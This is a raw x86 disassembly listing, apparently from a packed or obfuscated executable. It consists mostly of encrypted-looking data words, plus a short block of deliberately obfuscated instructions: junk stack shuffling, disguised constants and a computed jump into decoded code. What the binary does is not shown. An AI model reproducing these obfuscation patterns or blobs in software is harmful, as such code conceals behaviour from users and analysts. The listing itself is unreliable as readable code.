dd 0E9061138h, 0FFFA4823h, 1139BD68h, 4819E906h, 5D68FFFAh
dd 0E906113Ah, 0FFFA480Fh, 113B5868h, 4805E906h, 768FFFAh
dd 0E906113Ch, 0FFFA47FBh, 0BAB990E2h, 0D40F3A4Dh, 2D1E83Bh
dd 0BDA69DE5h, 0EE754850h, 97ED0057h, 455A4BA8h, 0FA0AFB78h
dd 0A2F710C3h, 0ADBF4C97h, 852A4D39h, 8D73C2C5h, 3AC8h
dd 0D5DE5000h, 1DE2E60Eh, 1D65C394h, 518C3339h, 0C5D7635Ch
dd 0C208002Eh, 0BE483CB0h, 0FBDFC394h, 9AB7C04Dh, 615CA550h
dd 0D48FB99Dh, 94BE0242h, 5A7583C3h, 999E0F99h, 6F948AA4h
dd 40E4760Dh, 0BD9EFD91h, 9050241Eh, 3A60C3F0h, 3046B725h
dd 0AF59BD01h, 0E900F8F5h, 0C02C35CEh, 238h, 3632462Ch
dd 0E70FDD66h, 0BD9F05A2h, 5C28BCCEh, 0D33A60C5h, 0EC241EFh
dd 60C5E2E6h, 0E0E4083Ah, 673A60C5h, 7A5EA413h, 0D52ADB05h
dd 62064E8h, 4EAF3F7Eh, 0D66D0F06h, 0D445FA04h, 0E904F890h
dd 0E809DD0Bh, 4588589Dh, 0B91897Dh, 0E358EA70h, 81D186F3h
dd 0BE46E044h, 922216D6h, 1A8B51A9h, 615CA909h, 0D94DDF0Dh
dd 0EA395AADh, 0C2862E22h, 45EA395Ah, 74EF197Dh, 0B4B38E9Bh
dd 56A587F2h, 944E0101h, 89000004h, 709D467Dh, 0DECF1425h
dd 8865FED3h, 77904372h, 72C1122Dh, 0B588906Bh, 53841AEh
dd 0E8E731DEh, 0BC899A0Bh, 1E965AA7h, 0C585256Ah, 0DE960EFDh
dd 0E2E60ED5h, 65C3941Dh, 5555391Dh, 862E3C47h, 0BD9F1CF3h
dd 0A0D50E74h, 0BBC0DC18h, 0FA083DB1h, 0D31D446Bh, 7DCB2F5Bh
dd 665AA030h, 431EC501h, 4C50DFE0h, 50812537h, 0DDE6D2E0h
dd 831911E5h, 92FA72F8h, 6DE8D92Eh, 31B5C715h, 8CA66255h
dd 0A657E0DAh, 10C10EF9h, 816CFE28h, 6D9A5974h, 86222D18h
dd 7D311FDAh, 3F53295h, 0DE280000h, 84937CE7h, 3241AEB5h
dd 0D32BC41Fh, 829677ECh, 0CA11A0B3h, 0DD6E933h, 0BDA69BE0h
dd 0EA094450h, 6DDE83Dh, 8BFF77F5h, 1CC58525h, 0D5DE37ADh
dd 881414F8h, 68BC69F3h, 7B95E95Dh, 51D567F1h, 0C3941D35h
dd 1D2B5FD7h, 46BCC394h, 9F6781F9h, 0BD9F2A6Eh, 16ED40FFh
dd 0E9E38AA7h, 6C306EF5h, 3CE105D7h, 5C44714Bh, 0E56964B1h
dd 0F1CCD8A1h, 201FC90Dh, 90E510DAh, 4451BEA5h, 0A8C40CD2h
dd 0E70F199Ah, 3077EEE3h, 303A1E64h, 77EEC8BCh, 77B5F30h
dd 0A7234BD5h, 283077EEh, 0DCDC34D2h, 3DB1BBC0h, 4E7CFE88h
dd 0F2EC539Dh, 958EC247h, 0A9691DD5h, 84FE2E4Ch, 1AEBA7A0h
dd 1AE8927Ah, 32EA5h, 38176300h, 8EBBCA3Bh, 5069B855h
dd 251C6283h, 0F4CBD13Eh, 6A81E86Fh, 0DB342F16h, 8B64FFC2h
dd 7491427Dh, 3CCD1623h, 24CCB82Ch, 0F443C585h, 0F8D5DE0Ch
dd 0F3881414h, 0E72EDF69h, 29A83CEAh, 6BD9F26h, 99D0273Ch
dd 78000001h, 0CE991EBDh, 0EC8D850Bh, 0C24C5342h, 0B4F9209Dh
dd 0ABFD2331h, 0F0D4289Ch, 2D364656h, 0E92B73Fh, 0AF93BD9Fh
dd 0AB8EBE48h, 5E3E375Ch, 0BA9F17C5h, 8BB928C0h, 0D1ABC3B7h
dd 640CA04Ah, 0DB43350Bh, 7F8875E7h, 23749142h, 6FABD916h
dd 927087B4h, 28E3Dh, 58778300h, 2E1B6A9Bh, 0F0C9D835h
dd 457C8263h, 142B719Eh, 8A6188CFh, 7B944F76h, 2BC41F22h
dd 9471E2DDh, 5CADB683h, 276C188Ch, 14E3C585h, 0F81EBDACh
dd 196D81B4h, 0EEC394A9h, 0EB7B6B94h, 8C997492h, 0CFADCDB1h
dd 8A14A6B4h, 4A3E011Bh, 7C8AFE76h, 251DC394h, 7D3E7B0Bh
dd 4B8FBD9Fh, 85D7E7A8h, 0FFE6CF7h, 77BCFFAh, 7D3551D5h
dd 40BA3A61h, 65A0C4A6h, 0EA446A65h, 25BACE66h, 0C30D307Eh
dd 7E25DFABh, 766A5030h, 250440E4h, 0B78B307Eh, 66F07C53h
dd 7E25BACEh, 1B350D30h, 9F7C1C4Bh, 0F18A12C5h, 63D6C36Bh
dd 9557D897h, 69217511h, 0AC80FA9Dh, 522E01BEh, 56E1DC28h
dd 6C9A8A5Bh, 0B8F884E4h, 20699F43h, 0F588B74Fh, 0B0D4DFCAh
dd 0C02D3F13h, 866886BBh, 4D708974h, 67ABD3A3h, 3E04E364h
dd 99B4C12Ch, 6D58AD5Ah, 6393ECE2h, 542B1F27h, 193h, 9E457C86h
dd 0C82B2671h, 66FDCCDFh, 91427189h, 0C2112C74h, 8B916C73h
dd 397EAFB4h, 0E62EDF04h, 8E9B74EFh, 915BA0B3h, 8526691Dh
dd 0A90FFEC5h, 14F8D5DEh, 0D8288814h, 0BA07E4ABh, 7CF07A5Eh
dd 0BD9F818Dh, 0DD3B3802h, 0E4760D6Fh, 85062740h, 8852A8BDh
dd 5DA8081Dh, 40A4986Ch, 90E41193h, 53FDD1A5h, 289CA9FAh
dd 0FC02ACF0h, 391D71C5h, 0CF1EBB33h, 2B6F446Bh, 90E59AC1h
dd 2129C2CFh, 6FB86507h, 13648152h, 53885226h, 0CF6C8B50h
dd 0B4082660h, 658953E8h, 4E42B208h, 3F45B0h, 0D61169E6h
dd 9280289Ah, 0E41EF151h, 0D9000000h, 806DF6CDh, 6E9F4475h
dd 0D8352E23h, 8760F3C2h, 2291427Dh, 0E5D8203Bh, 0B588917Eh
dd 183741AEh, 0ECD92ADBh, 0CE668A77h, 0C58521BAh, 6FC6BE0Dh
dd 77E4760Dh, 9066DD3Eh, 0AF41EF8Fh, 85DB6807h, 14F9BDh
dd 9A0BD135h, 0F0D4B885h, 0FE0BF256h, 279410C3h, 0C98FA605h
dd 6FEFE3ACh, 0CB2CC976h, 5FA8A543h, 0B569E62h, 0B297865Bh
dd 5AE05461h, 6531B6D2h, 78C13961h, 0B2AF1322h, 0AB9BF7F6h
dd 7A8F7471h, 2E7B944Fh, 63477E86h, 83C76FF9h, 4616531h
dd 0CCB82C3Eh, 43616531h, 0F379D17Fh, 77DBF202h, 218F513h
dd 1ED24F33h, 316C188Ch, 9FE36165h, 51B63771h, 3DEA0944h
dd 9E0FDDE8h, 0F2D6BA97h, 181BFC54h, 0A5000000h, 0D8431EBDh
dd 0E24EAB99h, 24D19344h, 3F13E7DEh, 0BA0E434Eh, 0DEB2A846h
dd 0A009FDD4h, 27967A57h, 0AB12E6D1h, 329B6F52h, 0BA63D7EEh
dd 2EB5F66h, 8871C5FCh, 0DFC4079h, 0CF7BCFFAh, 34CB68h
dd 242C8900h, 54CE68h, 240C8900h, 81E38953h, 4C3h, 4EB8300h
dd 5C241C87h, 50243C89h, 11373CB8h, 8BC18906h, 0C4832404h
dd 3C8B5404h, 4C48124h, 56000000h, 8950CE89h, 84789F0h
dd 34FF5E58h, 0C4835F24h, 240C8B04h, 81E78957h, 4C7h, 4C78100h
dd 87000000h, 0E95C243Ch, 0FFFA41BFh, 0B3120845h, 5A9E9F21h
dd 318D9B3Dh, 0B8A2F948h, 6113D10h, 0E0FFC503h, 7283ACF8h
dd 276FA485h, 482B55FDh, 5BA38797h, 7957A13Fh, 55BEBD2Bh
dd 12E8h, 3F023700h, 0C555AA2Ch, 3D0CAD91h, 7CB7A0ADh
dd 0BAB01C43h, 185623Ah, 0A0D28058h, 71DAC081h, 0CD800000h
dd 1C4268F1h, 5BF50000h, 0FC8086BAh, 0E830FF3Ah, 6, 0FB3F67CBh
dd 5F5AE578h, 1AD28160h, 8B2B286Dh, 0F78161CFh, 5C741F5Dh
dd 81D2CD80h, 64A797C7h, 9FF78101h, 0F82AC701h, 0FE83889h
dd 86000000h, 1EA202C0h, 0C2A9F9D1h, 39F3A3E6h, 0F18B77A1h
dd 7E88159h, 663DDD15h, 0C081D68Bh, 3DDD1503h, 9E8h, 0D8FD4C00h
dd 0A0E1F16Ah, 0E960C69Bh, 0Ah, 0DDEE4940h, 0FA36E745h
dd 8FB9BE58h, 61012E42h, 1EB8359h, 11850Fh, 1CE90000h
dd 59000000h, 0BE7A2DB1h, 0EC2CA9FBh, 0F82D593Bh, 0FFFF64E9h
dd 0B97275FFh, 0C4FDA033h, 0EBAC4235h, 8, 0F0702B00h, 4BAE978h
dd 0AB680000h, 0E906113Fh, 0FFFA409Bh, 11403768h, 4091E906h
dd 6668FFFAh, 0E9061141h, 0FFFA4087h, 362D246Eh, 60F3CED9h
dd 9E457487h, 0C92A2971h, 7AF9C4DCh, 237994DBh, 0D126C71Ch
dd 8E9677ECh, 3643ACB7h, 3933D81Bh, 8523D1B5h, 71E756C5h
dd 17FBDADEh, 0F3605DA6h, 9842D9A3h, 7585D10Eh, 0EE292471h
dd 0C5B4BA1Dh
dd 9A6A84B3h, 0BD9F8F1Bh, 0CA1AEED4h, 3A61BCBAh, 6ED2ED3Bh
dd 5A96ABFh, 3A61BC41h, 3498FCC6h, 7A8B09h, 0C236B7EDh
dd 2C36922Bh, 30106h, 2D46EE00h, 0AD06B31h, 0CEB28D9Bh
dd 1A925C8Ah, 0BD9F052Fh, 9384F20h, 0A3F84185h, 8145BA9Eh
dd 3F046178h, 64BC324Ah, 0AAA7F059h, 4100A4B6h, 0A3411055h
dd 0F8162372h, 0AB35271Bh, 107B4703h, 4501A535h, 0CA35107Bh
dd 153307F0h, 849FFD3Dh, 70A3DE56h, 5B344B1Bh, 47EF7D4Ch
dd 33ED3003h, 905ABE84h, 0B28D9706h, 1592AF85h, 0B2586BEh
dd 1FC4F102h, 5FA8A5EEh, 8FD95071h, 0E42BEC66h, 75000002h
dd 0DCC92A21h, 8A7BF8C9h, 7491427Fh, 23CC172Eh, 0C67DE6D9h
dd 19247C9Fh, 0E9D42DDAh, 0BC8B9D0Ah, 3D46A7h, 0AAC22ED3h
dd 0C58522DEh, 0BD7AE251h, 8FDAEA1Eh, 94776367h, 619EE4C3h
dd 0E4554E16h, 0FFD3A79Eh, 812F4D51h, 6BBD5A79h, 0E9282103h
dd 1D915BBFh, 0BD8566E8h, 26D7057Dh, 133438D2h, 0F5037660h
dd 5FA54291h, 0B549C60h, 0D13C842Ah, 785B2F47h, 432C3A7Bh
dd 523073Ah, 5C2FF08h, 866373D5h, 5843040Eh, 0E9000002h
dd 50BDA69Dh, 3EEF7445h, 0E805DEF3h, 57B0A392h, 52E1724Dh
dd 95A8F00Bh, 6558A14Eh, 0C80711FEh, 9CA9FA2Bh, 3EB6BA47h
dd 0C5855D4Ah, 6FF66EDDh, 40E4760Dh, 0BD850E85h, 0FE4C300Ah
dd 44C8F70Fh, 6E1EE600h, 0BB3A7ADCh, 0F514ECF9h, 0DC2C2ECDh
dd 19Eh, 0F8D5DE38h, 6550A514h, 47DCA0FEh, 198C1195h, 82A1BD9Fh
dd 218D970Fh, 0F3CEDD3Dh, 0F3D7CB0Fh, 0F4A7270Fh, 26723A60h
dd 0F5BC6DA7h, 43952C34h, 73000000h, 9D4150BDh, 0F5C9BD88h
dd 55277791h, 29881CCEh, 6BD9F05h, 1382483Ch, 0F43370Ah
dd 0AA4479BEh, 60CBAADAh, 0A8257F3Ah, 35C6B950h, 0BA902Ch
dd 0FE080000h, 79CDFC0Fh, 0C7B9CD05h, 340E3A60h, 50BD241Ah
dd 43870B4Ah, 1D711599h, 8CF6C394h, 0A39EEB62h, 3DAE0DDFh
dd 2684FDAh, 9CE46987h, 8529BBA1h, 0C39436C1h, 7ED27C46h
dd 0CFDA7A8Fh, 0D6CA0EF2h, 0C66EBB62h, 0DF3387BEh, 48F678FBh
dd 35C39433h, 500ED5E0h, 8125374Ch, 0BD99AA46h, 0BC69F3C7h
dd 6D9A5964h, 2DDF2817h, 0D2866060h, 1299F70h, 6EB80000h
dd 14638C57h, 0C2D13E25h, 63BB548Fh, 1266875Ch, 5A813023h
dd 9D467983h, 0CD162B70h, 7AF9D420h, 964D788Dh, 1B6F8765h
dd 0ECC5855Ch, 0DADEA71Dh, 1DED990Dh, 1862C394h, 0BEC73624h
dd 65826583h, 0C63E2510h, 0D223D5DEh, 0A065F264h, 6DDCA084h
dd 803F2D18h, 0C21CF7C0h, 7E4B5C7Bh, 0B452B68Ah, 3F44B133h
dd 0C4D8E402h, 9E39ADBFh, 0EFBD9E73h, 455441ABh, 3A4EE674h
dd 8D3A6159h, 47D19BB5h, 83774E56h, 54ACA14Fh, 64648A69h
dd 0E53A6159h, 32BEA590h, 672B938Dh, 0A5192611h, 0D33AD428h
dd 3802F6C9h, 3B8FBACDh, 783229C7h, 2E000000h, 347C089Ch
dd 169E3A61h, 3A613472h, 0C8328DF5h, 0D6F381Eh, 8940E476h
dd 6BD850Eh, 94E1483Ch, 3C42B3B9h, 9F08EB05h, 1BCBBF8Ah
dd 0BF9BCAE5h, 0D53ACBE1h, 0E26EF5C0h, 90A8DC50h, 0DB3FB899h
dd 0FAD7202Dh, 605FA716h, 0EED52D9Ch, 6960B31Ah, 7677ADE5h
dd 2ABBF904h, 5E85B0C5h, 55B264B1h, 0A2166FA9h, 42A69BE0h
dd 0A5509A6Eh, 52C96752h, 3, 0DE9C84FAh, 0A009FDD4h, 27967A57h
dd 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh
dd 0DFC4079h, 0CF7BCFFAh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
push 4BEFh
mov [esp], edi
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebp
push esi
push 17E45C15h
pop esi
shl esi, 4
push esi
not dword ptr [esp]
pop esi
sub esi, 5D9E1F5Fh
xor esi, 220D21E0h
mov edi, esi
pop esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push edi
pop dword ptr [ebp+8]
mov ebp, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_543FDB
; ---------------------------------------------------------------------------
or [ecx-1B392166h], dl
dec eax
mov dl, 0B5h
mov dl, 0
les edi, [eax+61142B4h]
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0FEh, 18h, 0C3h
dd 843E4D36h, 0ADBEBE71h, 42D7646Dh, 0D1F3161Fh, 45E55E6Fh
dd 9E87144Fh, 0EE847138h, 0FDD5393Fh, 37034705h, 3016B80Bh
dd 0D5096829h, 0B083F25Eh, 0A2F23D43h, 73A374h, 7A92D019h
dd 256FF21h, 0A3865028h, 981A837h, 1E84B509h, 358D8D54h
dd 6A061144h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 0B41FC356h, 9C73346h, 0B1E9585h
dd 4D8D8906h, 8B060B17h, 0B33A995h, 1985C706h, 24060B01h
dd 8B000064h, 985C7F3h, 60B10h, 60000000h, 12E9h, 932C200h
dd 32FC3777h, 2D276873h, 1BEE5FE0h, 893751D6h, 0B2735BDh
dd 0B5FF6106h, 60B1A31h, 58F0FFCh, 66000000h, 5AA1F381h
dd 0AC595FFh, 0BA66060Bh, 6A564Ch, 32DD95FFh, 0C08B060Bh
dd 0B5CB5DEBh, 0D7E21451h, 5F4F2183h, 33005787h, 0B1C53559h
dd 0B03E0E1h, 652E2753h, 0C29642C7h, 0FD72F1DDh, 1DBF5B6Eh
dd 44CA1022h, 627C48DEh, 70DB12A0h, 34796580h, 893C76F9h
dd 33F1AC7Bh, 0B9C5ED78h, 0E83AC46Ch, 3C98E737h, 209FE34Bh
dd 5AFFFA67h, 0BF28ACE4h, 0EA6F8B00h, 0E8BF590Dh, 0Dh
dd 876A9EEFh, 0C82303F8h, 0A45F76DAh, 0A9BD29B8h, 5A060B1Fh
dd 0C281DF8Bh, 6C05h, 5479F5B9h, 24E9817Dh, 0FF7D545Fh
dd 5BD8B32h, 5E060B15h, 3C98D89h, 0F681060Bh, 32CEB760h
dd 0E3E38166h, 3C68113h, 6056105Ah, 1A958D89h, 0BD2B060Bh
dd 60B03A9h, 8BC68161h, 562511E9h, 234D858Bh, 895F060Bh
dd 10E932h, 40C90000h, 98BA1E9Dh, 1E57B599h, 7FE56F4Ch
dd 0EA83108Eh, 2890F01h, 0B7000000h, 4A4A4AB1h, 850F49F5h
dd 1Dh, 850Fh, 2AE90000h, 0EF000000h, 0B8DA54Dh, 1620A875h
dd 1177682h, 2FF2F2E7h, 4D8D0152h, 0E9060B06h, 0FFFFFF6Fh
dd 0DB36965Eh, 93804E94h, 57B7B163h, 6A8D8DF0h, 6A061146h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 0C02C350h, 10325308h, 41B58BFAh, 8B060B08h
dd 4D8D89D6h, 8B060B17h, 0B20F59Dh, 1985C706h, 1C060B01h
dd 89000061h, 0B2EBDB5h, 850F06h, 0C7000000h, 0B100985h
dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 805B1938h, 0DE96066h, 0ED000000h
dd 71BE5085h, 3B0E3623h, 0BE7DF403h, 0F61E28Ah, 684h, 718D0100h
dd 0FF060B1Fh, 0B2A41B5h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 668AF858h
dd 669604BFh, 40C5C881h, 9E9h, 864F5200h, 2C3EB2F3h, 95FFF29Bh
dd 60B0AC5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 9EC35646h, 2D852924h, 6A060B19h, 0DD95FF00h, 8B060B32h
dd 6319EBC0h, 97B4FE04h, 0D9462A6Ch, 0DA6EBA3Ch, 77B5B91Ch
dd 0CF13FA13h, 1265CBCFh, 0B13EE853h, 0F232565Dh, 0F201EEACh
dd 0B1325655h, 0B13256ABh, 0E80D1AD5h, 0EBA173EAh, 0B1325675h
dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132545Dh
dd 0B63581AEh, 0AC325657h, 0BA3244ABh, 37325AD5h, 0F63256EBh
dd 0F6325677h, 0BAF27DB8h, 0F632565Dh, 5220CBDAh, 8E6CCFB7h
dd 586203A7h, 0B13256D3h, 0BC9661DCh, 5EA485B7h, 0BAE8D346h
dd 0C39488DCh, 0BDDB5D08h, 25325657h, 0B1B16496h, 9DED28ECh
dd 2CC9DC1Fh, 0E1035914h, 0BE6006E8h, 0BE6A0C6Ch, 0B13CBF9Fh
dd 7E1C5657h, 5A0833F7h, 7634B79Dh, 0D2A04B1Eh, 0E9680E2Fh
dd 0B126BFEAh, 64BE565Dh, 0E04A8D44h, 3C16E1E1h, 38A205E9h
dd 0F48EF95Bh, 0EBA19D70h, 0D103592Dh, 0EB6A0CDBh, 803DC105h
dd 0D0520EF4h, 386A0C36h, 0E13672EFh, 0E1600687h, 0EB0359B8h
dd 0D103592Dh, 0BE6A0CDBh, 0E160066Ch, 0EB0359FCh, 0D103590Fh
dd 0EB6A0CCAh, 0B1B10E8Dh, 9DED28D3h, 0E9C9DC80h, 92608BE2h
dd 0EE6A0E07h, 803D04FEh, 0BE530E0Dh, 0B122BF9Ah, 80EA56D5h
dd 0DCB6C1FCh, 0D8C265D7h, 942ED954h, 0E968FDA7h, 0B13256F6h
dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh
dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh
dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h
dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh
dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh
dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh
dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h
dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh
dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
dd 0B13256D5h, 0B1DA36EAh, 0EB325675h, 0F875BC3Bh, 34BF504Ch
dd 0B7222806h, 0F7AFD4DEh, 33BF50BAh, 0B7238454h, 0F793D463h
dd 0FFDA5064h, 593256B3h, 0B1325626h, 0F7BFD469h, 0B1325046h
dd 776056ABh, 0BA1A1350h, 0E35A00ECh, 4EAEFECDh, 0BA21030Fh
dd 0A9B7DB5Bh, 4E3458D3h, 0C0B7DF87h, 0DB345DA0h, 0A1323ED1h
dd 0F15A56EAh, 0DB325578h, 0EBE2A9BAh, 82469656h, 0F7BFD427h
dd 33BB5046h, 0B723103Ah, 0B23F166Ch, 82CADDEAh, 0E398A5B5h
dd 0B15A52D0h, 0D932564Dh, 0B13252AEh, 23CD563Dh, 0B7395DDAh
dd 50B0DF8Fh, 0D03447ACh, 0F7BFD3FEh, 0D1F150ABh, 83BBD49Ah
dd 0B13250A5h, 33F55617h, 0B7395992h, 0B13246D5h, 3A52958Bh
dd 0A074DBCFh, 0B10DD5BCh, 0CEB17529h, 0BA4654BEh, 0B52229D4h
dd 76B158DFh, 76D8BDC1h, 0B13346ADh, 43D95675h, 0B222117Dh
dd 5A32565Dh, 0E4F13747h, 5952BADCh, 0B13256ABh, 8DD8D78Fh
dd 3A3447A0h, 0A074B3C7h, 0B977DDBCh, 33B150D4h, 0B723104Bh
dd 73FB3753h, 595256AFh, 0B13256D5h, 0D1D8D7B0h, 3A34473Fh
dd 0A074B708h, 54806D5Bh, 0C53447E8h, 3A0CDD6Ch, 0FE845974h
dd 0B075A0D4h, 0B236236Ah, 9A30BDACh, 3A711563h, 0BA1617D8h
dd 0B8BFDDA8h, 8A345D43h, 8A3B2473h, 3237210Ch, 78D9522Ch
dd 0B946994Eh, 0A53BEB33h, 6D95056h, 595295CFh, 0B1325657h
dd 9D8D7F1h, 3A34479Fh, 0A074B750h, 0B032EF73h, 710156BAh
dd 33B9FDAEh, 0B723104Fh, 0F7D7D4DEh, 725350BAh, 0B132BEB5h
dd 306856EAh, 0A078B49Fh, 0F4B790BCh, 0E7345D75h, 0AE5F6FC6h
dd 0E487A983h, 3C345DB8h, 0BF4F4E50h, 0E3E2A9ECh, 31323E25h
dd 0B15856BAh, 0F7BFE4A2h, 61CD50BFh, 0B15A0C0Fh, 0DB32562Bh
dd 5080A9D5h, 4E3447ACh, 0E4F137A5h, 5952BA31h, 0B132565Dh
dd 81D8D7F4h, 3A34471Ch, 29DA5EDEh, 0E43256D7h, 0F7AFC415h
dd 8A6F5064h, 5F475ACFh, 0B130D0B5h, 73FB37AEh, 3A67565Fh
dd 4DF6D547h, 59610183h, 0B13256EAh, 0D5D8D72Fh, 3A3447F1h
dd 0CCB95E28h, 596401BEh, 0B1325660h, 904696A0h, 4E67AE5Eh
dd 0A074CB78h, 0C4090B73h, 0D72022B6h, 56B248D6h, 312CDC5Eh
dd 2CDAA6B4h, 5A3256ADh, 4D4FDF01h, 4ECC0B02h, 0EF6D0D8Ah
dd 78CE1331h, 0E4325A9Fh, 75B1BA25h, 0E06401AFh, 497791F8h
dd 0B13256D5h, 0F7FFD42Dh, 0B1335064h, 0C4B956BAh, 0AFB93055h
dd 0F7BFEC25h, 0EEB95046h, 0C5E95DA3h, 0C4EC6DDAh, 0BD6FDDECh
dd 323E09FCh, 5BD9427Dh, 312CDD3Bh, 353DBE55h, 0B1325699h
dd 0BEDBAD2Bh, 0B1329351h, 5AC9D6EAh, 0B18ED27Ah, 4AB256BAh
dd 1DB659BFh, 313256AEh, 353DB5ACh, 0B1325631h, 0D6C9D7B3h
dd 29B65909h, 31325675h, 3054A65Dh, 0BEB259A6h, 0B132C72Ah
dd 41D1D657h, 0BE42AD2Bh, 0B132D351h, 0AFB930EAh, 31CAB5F5h
dd 0F346EE41h, 0C53768DDh, 9C0CD693h, 8FB26E23h, 4E0122C3h
dd 0A0749B57h, 0AFB930ECh, 0D7CAB1F5h, 59B3AD3Bh, 3A547629h
dd 41D5D6B0h, 30C9D731h, 0D121226Bh, 2CA0A980h, 0EC3447ACh
dd 0D0CE13FCh, 0B0CE2B39h, 0BB93528h, 0B7396427h, 7CB0DD07h
dd 883447EDh, 0C36A66E9h, 8888DDBAh, 0E1345D7Ah, 0F7FFD431h
dd 8D0B504Ch, 8C4D0E9Eh, 0F4F546BCh, 0B1325453h, 7635BDD5h
dd 0B133AEAFh, 0BB95675h, 0B7231037h, 6A3949D6h, 6F0949DAh
dd 0ECB95922h, 494FD5A7h, 0B23122D5h, 0EEBBAEB7h, 0A5F5D571h
dd 7101B451h, 0B13296B4h, 0AFB930AEh, 313E2BDCh, 0BB46BD50h
dd 31C2B555h, 0A7462611h, 0B6F4649Eh, 0B0759153h, 0B132565Dh
dd 71B19125h, 0B1A5BF52h, 765456ABh, 3B3A59D2h, 0BED1D6F4h
dd 39B29DF5h, 0F6F557E5h, 0B132565Fh, 32F5DDAEh, 0C8D95097h
dd 210CD7CDh, 313D2245h, 0BF47C6D4h, 4E4CD713h, 0B346C62Ah
dd 76B952B6h, 33BF0945h, 0B72310BEh, 23CD00FBh, 0B7231074h
dd 0BB4696E1h, 3BF9EFEh, 0B7231053h, 3A6446B6h, 23CD0360h
dd 0B72310CAh, 46FC7DF6h, 0CCB1080Ch, 0A1475712h, 0D7981FC5h
dd 0D7B75902h, 0F78459F6h, 0AAD9FDAFh, 0B3CA2BD4h, 95445DEh
dd 1A549FDEh, 353DEE8Ch, 73DFD13h, 5A9957FCh, 3A96A55Fh
dd 0EF6B0D69h, 0B9F09F08h, 5DB903ABh, 0B132BEB5h, 306856EAh
dd 0A07F949Fh, 0B977DDBCh, 0F7A7D4D4h, 785350BFh, 0E4325295h
dd 75B1BA20h, 0B1DA362Dh, 0EB3256EAh, 0FCD1BCF4h, 0F4F550ABh
dd 0B13256A5h, 4D7791AEh, 0B1325657h, 3A549698h, 7CB091CBh
dd 0B03447ACh, 0D7325675h, 21A2AD3Bh, 4AB25628h, 0B9B65946h
dd 0F1325656h, 0BEDBAD2Bh, 0B132A851h, 4AB216EAh, 45B6599Eh
dd 0F13256BAh, 0D7C2B1DDh, 313DAD2Fh, 0B1D7D258h, 333156ABh
dd 0B73940F0h, 53C9D6AAh, 0B1FCD27Ah, 4AB256BAh, 0DB659BEh
dd 0D73256AEh, 5255ADD6h, 0B188D2A4h, 52B256D5h, 0C1C9D61Ah
dd 0B187D27Ah, 3A5456BAh, 49D1D643h, 0C58AAD2Eh, 0B40CD610h
dd 8FB214DFh, 310F22F8h, 89463ED4h, 7CB0A935h, 0D73447FCh
dd 56B248D6h, 4AB33056h, 9546BED6h, 312CDDCDh, 3054A632h
dd 0C5F2D711h, 4E673662h, 0A074CB28h, 0F4BB0B5Bh, 0CCB13752h
dd 343D57ABh, 0B1325783h, 83BBEC5Eh, 3A6250E1h, 0A0749BF7h
dd 810E6FBCh, 0A0B05905h, 3A3256AFh, 0BA3D6FEDh, 33B906ADh
dd 0B7231018h, 0E9026AD3h, 0B1C8D97Ah, 0BB956BAh, 0B72310CCh
dd 0F7A3D42Dh, 38265046h, 0A175DF9Ch, 7CB0DD85h, 3A3447ACh
dd 386A6669h, 64DB5EE5h, 7632565Dh, 0B130AEEBh, 0B6D95657h
dd 0B0CA136Ch, 3A3256D5h, 0A074C750h, 20B0D573h, 0A53447FCh
dd 0F6BB61D4h, 0B2CAD5BEh, 33F55A22h, 0B7231066h, 0B13256D7h
dd 49B15301h, 326D2B77h, 0C532AEC7h, 0F7845946h, 0B1B2FFAFh
dd 0B7475657h, 0B4DAD5EBh, 4E1F5E3Eh, 323256EAh, 0BAD9539Dh
dd 7CA8DDE9h, 3A34471Bh, 186965AAh, 31325657h, 773142DEh
dd 0B2379656h, 0A0749B68h, 0F6BB1E73h, 0BD75DFB2h, 69C500B6h
dd 69C59085h, 0B23796D4h, 0A0749B29h, 0F6BB1ED3h, 0BD75DFE2h
